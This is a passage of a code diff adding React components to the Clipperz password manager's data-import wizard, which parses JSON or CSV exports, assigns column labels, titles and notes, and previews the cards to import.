for (i in columnLabels) {
|
||||||
|
result = result || ((columnLabels[i] == '')&&(importContext.selectedColumns[i]));
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
getLabels: function() {
|
||||||
|
return (this.state.firstRowAsLabels) ? this.state.columnLabelsFirstrow : this.state.columnLabels;
|
||||||
|
},
|
||||||
|
|
||||||
|
toggleFirstRow: function() {
|
||||||
|
var newState;
|
||||||
|
var cellCount;
|
||||||
|
|
||||||
|
newState = this.state;
|
||||||
|
newState.firstRowAsLabels = ! newState.firstRowAsLabels;
|
||||||
|
|
||||||
|
cellCount = 0;
|
||||||
|
MochiKit.Base.map(function(cell){
|
||||||
|
newState.columnLabelsFirstrow[cellCount++] = cell;
|
||||||
|
}, this.props.importContext.parsedCsv[0]);
|
||||||
|
|
||||||
|
this.updateNextStatus();
|
||||||
|
|
||||||
|
this.setState(newState);
|
||||||
|
},
|
||||||
|
|
||||||
|
onChangeCallback: function(columnN) {
|
||||||
|
var newState;
|
||||||
|
|
||||||
|
newState = this.state;
|
||||||
|
if (newState.firstRowAsLabels) {
|
||||||
|
newState.columnLabelsFirstrow[columnN] = this.refs['csv-labels-input-' + columnN].getDOMNode().value;
|
||||||
|
} else {
|
||||||
|
newState.columnLabels[columnN] = this.refs['csv-labels-input-' + columnN].getDOMNode().value;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.updateNextStatus();
|
||||||
|
|
||||||
|
this.setState(newState);
|
||||||
|
},
|
||||||
|
|
||||||
|
render: function() {
|
||||||
|
//console.log("labels-render",this.props.importContext);
|
||||||
|
//return React.DOM.p({}, "labels")
|
||||||
|
var rowCount, cellCount;
|
||||||
|
|
||||||
|
var importContext = this.props.importContext;
|
||||||
|
var columnLabels = this.getLabels();
|
||||||
|
|
||||||
|
rowCount = 0;
|
||||||
|
cellCount = 0;
|
||||||
|
return React.DOM.div({},[
|
||||||
|
React.DOM.p({}, "Set a label for each field in your data. If the first row of the CSV file contains field labels, tick off the checkbox below."),
|
||||||
|
React.DOM.input({
|
||||||
|
'id': 'csv-labels-firstrow',
|
||||||
|
'type': 'checkbox',
|
||||||
|
'checked': this.state.firstRowAsLabels,
|
||||||
|
'onChange': this.toggleFirstRow
|
||||||
|
}),
|
||||||
|
React.DOM.label({'htmlFor':'csv-labels-firstrow'}, "Use the first row as labels"),
|
||||||
|
React.DOM.table({'className': 'csvTable'},[
|
||||||
|
React.DOM.thead({},
|
||||||
|
React.DOM.tr({},
|
||||||
|
MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
if (! importContext.selectedColumns[cellCount]) {
|
||||||
|
result = null;
|
||||||
|
} else {
|
||||||
|
result = React.DOM.th({'key': 'csv-labels-header-' + cellCount}, [
|
||||||
|
React.DOM.input({
|
||||||
|
'type': 'text',
|
||||||
|
'id': 'csv-labels-input-' + cellCount,
|
||||||
|
'key': 'csv-labels-input-' + cellCount,
|
||||||
|
'ref': 'csv-labels-input-' + cellCount,
|
||||||
|
'value': columnLabels[cellCount],
|
||||||
|
'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount)
|
||||||
|
})
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
cellCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}, this), this.props.importContext.parsedCsv[0])
|
||||||
|
)
|
||||||
|
),
|
||||||
|
React.DOM.tbody({},
|
||||||
|
MochiKit.Base.map(MochiKit.Base.bind(function(row){
|
||||||
|
var result;
|
||||||
|
|
||||||
|
cellCount = 0;
|
||||||
|
|
||||||
|
if (rowCount == 0 && this.state.firstRowAsLabels) {
|
||||||
|
result = null;
|
||||||
|
} else {
|
||||||
|
result = React.DOM.tr({'key': 'csv-row-' + (rowCount)}, MochiKit.Base.map( function(cell) {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
if (importContext.selectedColumns[cellCount]) {
|
||||||
|
result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
|
||||||
|
} else{
|
||||||
|
result = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
cellCount++;
|
||||||
|
return result;
|
||||||
|
}, row));
|
||||||
|
}
|
||||||
|
|
||||||
|
rowCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},this), importContext.parsedCsv)
|
||||||
|
)
|
||||||
|
|
||||||
|
])
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvLabels = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvLabelsClass);
|
@ -0,0 +1,138 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvNotesClass = React.createClass({
|
||||||
|
|
||||||
|
getInitialState: function() {
|
||||||
|
return {
|
||||||
|
'notesColumn': this.props.importContext.notesColumn
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
componentDidMount() {
|
||||||
|
this.props.setNextStepCallback(this.handleNextStep);
|
||||||
|
},
|
||||||
|
|
||||||
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
handleNextStep: function() {
|
||||||
|
return this.state;
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
onChangeCallback: function(columnN) {
|
||||||
|
this.setState({'notesColumn': columnN});
|
||||||
|
},
|
||||||
|
|
||||||
|
render: function() {
|
||||||
|
var cellCount, rowCount;
|
||||||
|
|
||||||
|
var importContext = this.props.importContext;
|
||||||
|
|
||||||
|
cellCount = 0;
|
||||||
|
rowCount = 0;
|
||||||
|
return React.DOM.div({},[
|
||||||
|
React.DOM.p({}, "Select the column that represents a \"notes\" field. (optional)"),
|
||||||
|
React.DOM.input({
|
||||||
|
'id': 'csv-notes-nonotes',
|
||||||
|
'type': 'radio',
|
||||||
|
'checked': ! this.state.notesColumn,
|
||||||
|
'onChange': MochiKit.Base.partial(this.onChangeCallback, null)
|
||||||
|
}),
|
||||||
|
React.DOM.label({'htmlFor': 'csv-notes-nonotes'}, "\"notes\" field not present"),
|
||||||
|
React.DOM.table({'className': 'csvTable'},[
|
||||||
|
React.DOM.thead({},
|
||||||
|
|
||||||
|
React.DOM.tr({},
|
||||||
|
MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
var thId = 'csv-notes-header-' + cellCount;
|
||||||
|
var inputId = 'csv-notes-input-' + cellCount;
|
||||||
|
|
||||||
|
if (! importContext.selectedColumns[cellCount]) {
|
||||||
|
result = null;
|
||||||
|
} else {
|
||||||
|
result = React.DOM.th({'key': thId}, [
|
||||||
|
React.DOM.label({'htmlFor': inputId}, importContext.getCsvLabels()[cellCount]),
|
||||||
|
React.DOM.input({
|
||||||
|
'type': 'radio',
|
||||||
|
'id': inputId,
|
||||||
|
'key': inputId,
|
||||||
|
'ref': inputId,
|
||||||
|
'checked': cellCount == this.state.notesColumn,
|
||||||
|
'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount),
|
||||||
|
'disabled': cellCount == importContext.titlesColumn
|
||||||
|
})
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
cellCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}, this), importContext.parsedCsv[0])
|
||||||
|
)
|
||||||
|
|
||||||
|
),
|
||||||
|
React.DOM.tbody({},
|
||||||
|
|
||||||
|
MochiKit.Base.map(MochiKit.Base.bind(function(row){
|
||||||
|
var result;
|
||||||
|
|
||||||
|
cellCount = 0;
|
||||||
|
|
||||||
|
if (rowCount == 0 && importContext.firstRowAsLabels) {
|
||||||
|
result = null;
|
||||||
|
} else {
|
||||||
|
result = React.DOM.tr({'key': 'csv-row-' + (rowCount)}, MochiKit.Base.map( function(cell) {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
if (importContext.selectedColumns[cellCount]) {
|
||||||
|
result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
|
||||||
|
} else{
|
||||||
|
result = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
cellCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}, row));
|
||||||
|
}
|
||||||
|
|
||||||
|
rowCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},this), importContext.parsedCsv)
|
||||||
|
)
|
||||||
|
|
||||||
|
])
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvNotes = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvNotesClass);
|
@ -0,0 +1,146 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvTitlesClass = React.createClass({
|
||||||
|
|
||||||
|
getInitialState: function() {
|
||||||
|
return {
|
||||||
|
'titlesColumn': this.props.importContext.titlesColumn,
|
||||||
|
'notesColumn': this.props.importContext.notesColumn
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
componentDidMount() {
|
||||||
|
this.props.setNextStepCallback((this.isNextDisabled()) ? null : this.handleNextStep);
|
||||||
|
},
|
||||||
|
|
||||||
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
handleNextStep: function() {
|
||||||
|
return this.state;
|
||||||
|
},
|
||||||
|
|
||||||
|
updateNextStatus: function() {
|
||||||
|
this.props.setNextStepCallback((! this.isNextDisabled()) ? this.handleNextStep : null);
|
||||||
|
},
|
||||||
|
|
||||||
|
isNextDisabled: function() {
|
||||||
|
return (this.state.titlesColumn != 0 && ! this.state.titlesColumn );
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
onChangeCallback: function(columnN) {
|
||||||
|
var newState = this.state;
|
||||||
|
|
||||||
|
if (newState.notesColumn == columnN) {
|
||||||
|
newState.notesColumn = null;
|
||||||
|
}
|
||||||
|
newState.titlesColumn = columnN;
|
||||||
|
|
||||||
|
this.updateNextStatus();
|
||||||
|
|
||||||
|
this.setState(newState);
|
||||||
|
},
|
||||||
|
|
||||||
|
render: function() {
|
||||||
|
var rowCount, cellCount;
|
||||||
|
|
||||||
|
var importContext = this.props.importContext;
|
||||||
|
var columnLabels = importContext.getCsvLabels();
|
||||||
|
|
||||||
|
rowCount = 0;
|
||||||
|
cellCount = 0;
|
||||||
|
return React.DOM.div({},[
|
||||||
|
React.DOM.p({}, "Select the column that contains titles of the cards you are importing. (mandatory)"),
|
||||||
|
React.DOM.table({'className': 'csvTable'},[
|
||||||
|
React.DOM.thead({},
|
||||||
|
React.DOM.tr({},
|
||||||
|
MochiKit.Base.map(MochiKit.Base.bind(function(cell) {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
var thId = 'csv-titles-header-' + cellCount;
|
||||||
|
var inputId = 'csv-titles-input-' + cellCount;
|
||||||
|
|
||||||
|
if (! importContext.selectedColumns[cellCount]) {
|
||||||
|
result = null;
|
||||||
|
} else {
|
||||||
|
result = React.DOM.th({'key': thId}, [
|
||||||
|
React.DOM.label({'htmlFor': inputId}, columnLabels[cellCount]),
|
||||||
|
React.DOM.input({
|
||||||
|
'type': 'radio',
|
||||||
|
'id': inputId,
|
||||||
|
'key': inputId,
|
||||||
|
'ref': inputId,
|
||||||
|
'checked': cellCount == this.state.titlesColumn,
|
||||||
|
'onChange': MochiKit.Base.partial(this.onChangeCallback,cellCount)
|
||||||
|
})
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
cellCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}, this), this.props.importContext.parsedCsv[0])
|
||||||
|
)
|
||||||
|
),
|
||||||
|
React.DOM.tbody({},
|
||||||
|
MochiKit.Base.map(MochiKit.Base.bind(function(row){
|
||||||
|
var result;
|
||||||
|
|
||||||
|
cellCount = 0;
|
||||||
|
|
||||||
|
if (rowCount == 0 && importContext.firstRowAsLabels) {
|
||||||
|
result = null;
|
||||||
|
} else {
|
||||||
|
result = React.DOM.tr({'key': 'csv-row-'+(rowCount)}, MochiKit.Base.map( function(cell) {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
if (importContext.selectedColumns[cellCount]) {
|
||||||
|
result = React.DOM.td({'key': 'csv-cell-' + rowCount + '-' + (cellCount)},cell);
|
||||||
|
} else{
|
||||||
|
result = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
cellCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}, row));
|
||||||
|
}
|
||||||
|
|
||||||
|
rowCount++;
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},this), importContext.parsedCsv)
|
||||||
|
)
|
||||||
|
|
||||||
|
])
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvTitles = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.CsvTitlesClass);
|
@ -0,0 +1,244 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass = React.createClass({
|
||||||
|
|
||||||
|
getInitialState: function() {
|
||||||
|
return {
|
||||||
|
'inputString': (this.props.importContext.inputString) ? this.props.importContext.inputString : null,
|
||||||
|
'format': (this.props.importContext.format) ? this.props.importContext.format : null,
|
||||||
|
//'parsedInput': (this.props.importContext.parsedInput) ? this.props.importContext.parsedInput : null,
|
||||||
|
};
|
||||||
|
},
|
||||||
|
|
||||||
|
componentDidMount: function() {
|
||||||
|
this.updateNextStatus(this.state.inputString);
|
||||||
|
},
|
||||||
|
|
||||||
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
handleNextStep: function() {
|
||||||
|
var result;
|
||||||
|
var jsonData;
|
||||||
|
var parsedInput;
|
||||||
|
|
||||||
|
var inputString = this.refs['input-textarea'].getDOMNode().value.trim();
|
||||||
|
|
||||||
|
result = {'inputString': inputString};
|
||||||
|
|
||||||
|
parsedInput = this.parseJson(inputString);
|
||||||
|
if (parsedInput) {
|
||||||
|
MochiKit.Base.update(result,this.props.importContext.getInitialJsonContext(parsedInput));
|
||||||
|
} else {
|
||||||
|
parsedInput = this.parseCsv(inputString);
|
||||||
|
if (parsedInput) {
|
||||||
|
MochiKit.Base.update(result, this.props.importContext.getInitialCsvContext(parsedInput));
|
||||||
|
} else {
|
||||||
|
result = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
updateNextStatus: function(newInputString) {
|
||||||
|
this.props.setNextStepCallback((newInputString) ? this.handleNextStep : null);
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
extractJsonFromClipperzExport: function(someHtml) {
|
||||||
|
var textarea;
|
||||||
|
var regexMatch;
|
||||||
|
var result;
|
||||||
|
|
||||||
|
var re = new RegExp('.*<textarea>(.*)<\/textarea>.*','g');
|
||||||
|
|
||||||
|
if (re.test(someHtml)) {
|
||||||
|
textarea = this.refs['input-textarea'].getDOMNode();
|
||||||
|
textarea.innerHTML = someHtml.replace(re, '$1');
|
||||||
|
result = textarea.innerHTML;
|
||||||
|
} else {
|
||||||
|
result = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
addImportIds: function (someJson) {
|
||||||
|
var count;
|
||||||
|
|
||||||
|
for (count=0; count < someJson.length; count++) {
|
||||||
|
someJson[count]['_importId'] = count;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
parseJson: function(aJsonString) {
|
||||||
|
var result;
|
||||||
|
var jsonData;
|
||||||
|
|
||||||
|
try {
|
||||||
|
jsonData = JSON.parse(aJsonString);
|
||||||
|
this.addImportIds(jsonData);
|
||||||
|
result = jsonData;
|
||||||
|
} catch(e) {
|
||||||
|
result = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
parseCsv: function(aCsvString) {
|
||||||
|
var result;
|
||||||
|
var i;
|
||||||
|
|
||||||
|
var parsedCsv = Papa.parse(aCsvString);
|
||||||
|
|
||||||
|
if (parsedCsv.errors.length != 0) {
|
||||||
|
result = false;
|
||||||
|
} else {
|
||||||
|
result = this.csvFillEmptyCells(parsedCsv.data);
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
csvFillEmptyCells: function(table) {
|
||||||
|
var i,j;
|
||||||
|
|
||||||
|
var result = [];
|
||||||
|
|
||||||
|
var maxColumns = MochiKit.Iter.reduce(function(prev,next) {
|
||||||
|
return Math.max(prev,next)
|
||||||
|
}, MochiKit.Base.map(function(row) {return row.length;}, table) );
|
||||||
|
|
||||||
|
for (i=0; i<table.length; i++) {
|
||||||
|
|
||||||
|
result[i] = [];
|
||||||
|
for (j=0; j<maxColumns; j++) {
|
||||||
|
result[i][j] = (typeof(table[i][j]) != "undefined") ? table[i][j] : "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
handleUploadFiles: function(someFiles) {
|
||||||
|
var file;
|
||||||
|
var reader;
|
||||||
|
|
||||||
|
if (someFiles.length == 1) {
|
||||||
|
file = someFiles[0];
|
||||||
|
reader = new FileReader();
|
||||||
|
|
||||||
|
// Binary files are just thrown in the textarea as weird UTF-8 characters: should we do something about it?
|
||||||
|
reader.onloadend = MochiKit.Base.bind(function() {
|
||||||
|
var extractedJson = this.extractJsonFromClipperzExport(reader.result);
|
||||||
|
var newInputString;
|
||||||
|
|
||||||
|
if (extractedJson) {
|
||||||
|
newInputString = extractedJson;
|
||||||
|
} else {
|
||||||
|
newInputString = reader.result;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.setState({'inputString': newInputString});
|
||||||
|
this.updateNextStatus(newInputString);
|
||||||
|
},this,reader);
|
||||||
|
|
||||||
|
reader.readAsText(file);
|
||||||
|
} else {
|
||||||
|
// Should this be removed?
|
||||||
|
alert("Error: expecting a file as input.");
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
handleOnDrop: function(e) {
|
||||||
|
e.preventDefault();
|
||||||
|
|
||||||
|
this.handleUploadFiles(e.dataTransfer.files)
|
||||||
|
},
|
||||||
|
|
||||||
|
handleInputFiles: function(e) {
|
||||||
|
e.preventDefault();
|
||||||
|
|
||||||
|
this.handleUploadFiles(e.target.files)
|
||||||
|
},
|
||||||
|
|
||||||
|
handleOnDragOver: function(e) {
|
||||||
|
// Somehow necessary:
|
||||||
|
// http://enome.github.io/javascript/2014/03/24/drag-and-drop-with-react-js.html
|
||||||
|
// https://code.google.com/p/chromium/issues/detail?id=168387
|
||||||
|
// http://www.quirksmode.org/blog/archives/2009/09/the_html5_drag.html
|
||||||
|
e.preventDefault();
|
||||||
|
},
|
||||||
|
|
||||||
|
handleTextareaChange: function() {
|
||||||
|
var newInputString = this.refs['input-textarea'].getDOMNode().value;
|
||||||
|
this.setState({'inputString': newInputString});
|
||||||
|
this.updateNextStatus(newInputString);
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
render: function() {
|
||||||
|
return React.DOM.div({},[
|
||||||
|
React.DOM.form({'key':'form', 'className':'importForm' }, [
|
||||||
|
React.DOM.input({
|
||||||
|
'type': 'file',
|
||||||
|
'ref': 'upload-input',
|
||||||
|
'onClick': function(e) { e.target.value = null },
|
||||||
|
'onChange': this.handleInputFiles,
|
||||||
|
'style': {'display': 'none'}
|
||||||
|
}),
|
||||||
|
React.DOM.div({
|
||||||
|
'onDragOver': this.handleOnDragOver,
|
||||||
|
'onDrop': this.handleOnDrop,
|
||||||
|
'onClick': MochiKit.Base.bind(function() { this.refs['upload-input'].getDOMNode().click() }, this),
|
||||||
|
'className': 'dropArea'
|
||||||
|
}, "Drag your Clipperz export file here or click select it manually."),
|
||||||
|
React.DOM.p({}, "or"),
|
||||||
|
React.DOM.div({'key':'fields'},[
|
||||||
|
React.DOM.textarea({
|
||||||
|
'key':'input-textarea',
|
||||||
|
'name':'input-textarea',
|
||||||
|
'ref':'input-textarea',
|
||||||
|
'placeholder':"Open the JSON file exported from Clipperz in a text editor. Then copy and paste its content here.",
|
||||||
|
'value': this.state.inputString,
|
||||||
|
'onChange': this.handleTextareaChange,
|
||||||
|
'onDragOver': this.handleOnDragOver,
|
||||||
|
'onDrop': this.handleOnDrop,
|
||||||
|
}),
|
||||||
|
])
|
||||||
|
])
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.Input = React.createFactory(Clipperz.PM.UI.Components.ExtraFeatures.DataImport.InputClass);
|
@ -0,0 +1,152 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
Copyright 2008-2015 Clipperz Srl
|
||||||
|
|
||||||
|
This file is part of Clipperz, the online password manager.
|
||||||
|
For further information about its features and functionalities please
|
||||||
|
refer to http://www.clipperz.com.
|
||||||
|
|
||||||
|
* Clipperz is free software: you can redistribute it and/or modify it
|
||||||
|
under the terms of the GNU Affero General Public License as published
|
||||||
|
by the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
* Clipperz is distributed in the hope that it will be useful, but
|
||||||
|
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||||
|
See the GNU Affero General Public License for more details.
|
||||||
|
|
||||||
|
* You should have received a copy of the GNU Affero General Public
|
||||||
|
License along with Clipperz. If not, see http://www.gnu.org/licenses/.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
Clipperz.Base.module('Clipperz.PM.UI.Components.ExtraFeatures.DataImport');
|
||||||
|
|
||||||
|
Clipperz.PM.UI.Components.ExtraFeatures.DataImport.PreviewClass = React.createClass({
|
||||||
|
|
||||||
|
getInitialState: function() {
|
||||||
|
if (this.props.importContext.format == 'csv') {
|
||||||
|
return this.props.importContext.processCsv()
|
||||||
|
} else {
|
||||||
|
return {
|
||||||
|
'jsonToImport': this.props.importContext.jsonToImport,
|
||||||
|
'recordsToImport': this.props.importContext.recordsToImport,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
componentDidMount() {
|
||||||
|
this.props.setNextStepCallback(this.handleImport);
|
||||||
|
},
|
||||||
|
|
||||||
|
//-------------------------------------------------------------------------
|
||||||
|
|
||||||
|
handleImport: function() {
|
||||||
|
MochiKit.Base.update(this.props.importContext, this.state);
|
||||||
|
|
||||||
|
var filteredImportData = MochiKit.Base.filter(
|
||||||
|
MochiKit.Base.bind(function(r) {
|
||||||
|
return this.isRecordToImport(r);
|
||||||
|
}, this),
|
||||||
|
this.state.jsonToImport
|
||||||
|
);
|
||||||
|
|
||||||
|
MochiKit.Signal.signal(Clipperz.Signal.NotificationCenter, 'importCards', filteredImportData);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
},
|
||||||
|
|
||||||
|
//=========================================================================
|
||||||
|
|
||||||
|
toggleRecordToImport: function(record) {
|
||||||
|
var newRecordsToImport;
|
||||||
|
var recordPosition;
|
||||||
|
|
||||||
|
newRecordsToImport = this.state.recordsToImport;
|
||||||
|
recordPosition = newRecordsToImport.indexOf(record._importId);
|
||||||
|
|
||||||
|
if (recordPosition === -1) {
|
||||||
|
newRecordsToImport.push(record._importId);
|
||||||
|
} else {
|
||||||
|
newRecordsToImport.splice(recordPosition,1);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.setState({'recordsToImport': newRecordsToImport});
|
||||||
|
},
|
||||||
|
|
||||||
|
isRecordToImport: function(record) {
|
||||||
|
return (this.state.recordsToImport.indexOf(record._importId)>=0) ? true : false;
|
||||||
|
},
|
||||||
|
|
||||||
|
getTags: function (aTitle) {
|
||||||
|
var result;
|
||||||
|
var tagList;
|
||||||
|
|
||||||
|
var tagObject = Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aTitle);
|
||||||
|
|
||||||
|
tagList = MochiKit.Base.keys(tagObject);
|
||||||
|
tagList = MochiKit.Base.filter(function(aTag) { return tagObject[aTag] }, tagList);
|
||||||
|
|
||||||
|
if (tagList.length > 0) {
|
||||||
|
result = React.DOM.ul({'className': 'tagList'},
|
||||||
|
MochiKit.Base.map(function(aTag){
|
||||||
|
return React.DOM.li({}, aTag);
|
||||||
|
}, tagList)
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
result = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
},
|
||||||
|
|
||||||
|
renderCardFields: function(someFields) {
|
||||||
|
return MochiKit.Base.map(function(key) {
|
||||||
|
var field = someFields[key];
|
||||||
|
|
||||||
|
return [
|
||||||
|
React.DOM.dt({},field.label),
|
||||||
|
React.DOM.dd({},field.value),
|
||||||
|
];
|
||||||
|
} ,MochiKit.Base.keys(someFields));
|
||||||
|
},
|
||||||
|
|
||||||
|
renderCard: function(aCard) {
|
||||||
|
var notesParagraph = (aCard.data.notes) ? React.DOM.p({'className': 'notes'}, aCard.data.notes) : null;
|
||||||
|
return React.DOM.li({'className': 'card'}, [
|
||||||
|
React.DOM.input({
|
||||||
|
'type': 'checkbox',
|
||||||
|
'checked': this.isRecordToImport(aCard),
|
||||||
|
'onChange': MochiKit.Base.partial(this.toggleRecordToImport,aCard)
|
||||||
|
}),
|
||||||
|
React.DOM.h3({}, Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aCard.label)),
|
||||||
|
this.getTags(aCard.label),
|
||||||
|
React.DOM.dl({'className': 'fields'}, this.renderCardFields(aCard.currentVersion.fields)),
|
||||||
|
notesParagraph
|
||||||
|
]);
|
||||||
|
},
|
||||||
|
|
||||||
|
render: function() {
|
||||||
|
var result;
|
||||||
|
|
||||||
|
if (typeof(this.state.jsonToImport)=='undefined' || !this.state.jsonToImport) {
|
||||||
|
result = "Error";
|
||||||
|
} else {
|
||||||
|
var renderedPreview = React.DOM.ul({},
|
||||||
